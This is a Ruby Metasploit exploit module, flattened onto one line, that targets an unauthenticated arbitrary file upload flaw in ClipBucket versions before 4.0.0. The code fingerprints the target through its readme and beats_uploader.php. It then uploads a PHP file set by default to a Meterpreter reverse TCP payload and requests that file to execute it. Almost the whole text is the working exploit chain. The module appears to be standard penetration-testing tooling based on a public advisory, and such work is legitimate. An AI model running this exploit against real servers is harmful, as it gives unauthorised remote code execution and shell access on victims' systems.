## # This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info={}) super(update_info(info, 'Name' => "ClipBucket beats_uploader Unauthenticated Arbitrary File Upload", 'Description' => %q{ This module exploits a vulnerability found in ClipBucket versions before 4.0.0 (Release 4902). A malicious file can be uploaded using an unauthenticated arbitrary file upload vulnerability. It is possible for an attacker to upload a malicious script to issue operating system commands. This issue is caused by improper session handling in /action/beats_uploader.php file. This module was tested on ClipBucket before 4.0.0 - Release 4902 on Windows 7 and Kali Linux. }, 'License' => MSF_LICENSE, 'Author' => [ 'www.sec-consult.com', # Vulnerability Discovery, PoC 'Touhid M.Shaikh ' # Metasploit module ], 'References' => [ [ 'EDB', '44250' ] ], 'DefaultOptions' => { 'SSL' => false, 'PAYLOAD' => 'php/meterpreter/reverse_tcp', 'Encoder' => 'php/base64' }, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets' => [ ['Clipbucket < 4.0.0 - Release 4902', {}] ], 'Privileged' => false, 'DisclosureDate' => "Mar 03 2018", 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'The base path to the ClipBucket application', '/']) ]) end def uri return target_uri.path end def check vprint_status('Trying to detect ClipBucket on target.') # check for readme file res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, 'readme') }) unless res vprint_error('Connection failed') return CheckCode::Unknown end unless res.code == 200 && res.body.include?('ClipBucket') vprint_error('Could not find readme') return CheckCode::Safe end # check for beats_uploader.php file res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, 'actions', 'beats_uploader.php') }) unless res vprint_error('Connection failed') return CheckCode::Unknown end unless res.code == 200 vprint_error('Could not find beats_uploader.php') return CheckCode::Safe end Exploit::CheckCode::Appears end def exploit # generate the PHP meterpreter payload stager = '' # Setting POST data post_data = Rex::MIME::Message.new post_data.add_part(stager, content_type = 'application/octet-stream', transfer_encoding = nil, content_disposition = 'form-data; name="file"; filename="pfile.php"') # payload post_data.add_part('1', content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="plupload"') # require for uploading post_data.add_part('agent22.php', content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="name"') data = post_data.to_s print_status('Uploading payload..') res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(uri, 'actions', 'beats_uploader.php'), 'data' => data, 'ctype' => "multipart/form-data; boundary=#{post_data.bound}" }) jsonres = res.get_json_document # If the server returns 200 and success yes, we assume we uploaded the malicious # file successfully unless res && res.code == 200 && jsonres['success'] == 'yes' fail_with(Failure::None, "#{peer} - File wasn't uploaded, aborting!") end print_good('Looking For Payload..') pdir = jsonres['file_directory'] file_name = jsonres['file_name'] pext = jsonres['extension'] print_good("found payload in /actions/#{pdir}/#{file_name}.#{pext}") # Payload name pname = "#{file_name}.php" # Cleanup is Good Idea . register_files_for_cleanup(pname) print_status("Executing Payload [ #{uri}/actions/#{pdir}/#{pname} ]" ) res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, 'actions', pdir, pname) }) # If we don't get a 200 when we request our malicious payload, we suspect # we don't have a shell, either. if res && res.code != 200 print_error('Unexpected response, probably the exploit failed') end end end